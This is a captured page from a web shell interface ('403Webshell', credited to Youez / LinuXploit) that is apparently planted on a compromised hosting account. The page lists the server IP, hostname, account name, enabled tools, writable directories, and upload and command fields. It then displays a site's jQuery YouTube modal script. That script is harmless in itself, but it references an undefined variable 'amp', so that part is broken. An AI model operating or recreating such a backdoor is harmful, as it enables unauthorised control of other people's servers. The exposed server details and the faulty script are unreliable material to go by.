403Webshell
Server IP : 118.139.160.155  /  Your IP : 216.73.217.153
Web Server : Apache
System : Linux sg2plmcpnl504228.prod.sin2.secureserver.net 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : twll3xqyaqrh ( 9725459)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/twll3xqyaqrh/public_html/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/twll3xqyaqrh/public_html/js/modal-js.js
;
(function() {

  var Modal = function() {

    var prefix = 'Modal-';

    this.Class = {
      stopOverflow: prefix + 'cancel-overflow',
      overlay: prefix + 'overlay',
      box: prefix + 'box',
      close: prefix + 'close'
    };

    this.Selector = {
      overlay: '.' + this.Class.overlay,
      box: '.' + this.Class.box,
      button: '[data-modal=button]'
    };

    this.Markup = {
      close: '<div class=" ' + this.Class.close + ' ">Close X</div>',
      overlay: '<div class=" ' + this.Class.overlay + ' "></div>',
      box: '<div class=" ' + this.Class.box + ' "></div>'
    }

    this.youtubeID = false;

  };

  Modal.prototype = {

    toggleOverflow: function() {
      $('body').toggleClass(this.Class.stopOverflow);
    },

    videoContainer: function() {
      return '<div class="video-container"><iframe id="player" src="https://www.youtube.com/embed/' + this.youtubeID + '?autoplay=1&rel=0" frameborder="0"></iframe></div>';
    },

    addOverlay: function() {

      var self = this;

      $(this.Markup.overlay).appendTo('body').fadeIn('slow', function() {
        self.toggleOverflow();
      });

      $(this.Selector.overlay).on('click touchstart', function() {
        self.closeModal();
      })

    },

    addModalBox: function() {
      $(this.Markup.box).appendTo(this.Selector.overlay);
    },

    buildModal: function(youtubeID) {

      this.addOverlay();
      this.addModalBox();

      $(this.Markup.close).appendTo(this.Selector.overlay);
      $(this.videoContainer(youtubeID)).appendTo(this.Selector.box);

    },

    closeModal: function() {

      this.toggleOverflow();

      $(this.Selector.overlay).fadeOut().detach();
      $(this.Selector.box).empty();

    },

    getYoutubeID: function() {
      return this.youtubeID;
    },

    setYoutubeID: function(href) {

      var id = '';

      if (href.indexOf('youtube.com') > -1) {
        // full Youtube link
        id = href.split('v=')[1];
      } else if (href.indexOf('youtu.be') > -1) {
        // shortened Youtube link
        id = href.split('.be/')[1];
      } else {
        // in case it's not a Youtube link, send them on their merry way
        document.location = href;
      }

      // If there's an ampersand, remove it and return what's left, otherwise return the ID
      this.youtubeID = (id.indexOf('&') != -1) ? id.substring(0, amp) : id;

    },

    startup: function(href) {

      this.setYoutubeID(href);

      if (this.youtubeID) {
        this.buildModal();
      }

    }

  };

  $(document).ready(function() {

    var modal = new Modal();

    $(modal.Selector.button).on('click touchstart', function(e) {
      e.preventDefault();
      modal.startup(this.href);
    });

  });

})(this);

Youez - 2016 - github.com/yon3zu
LinuXploit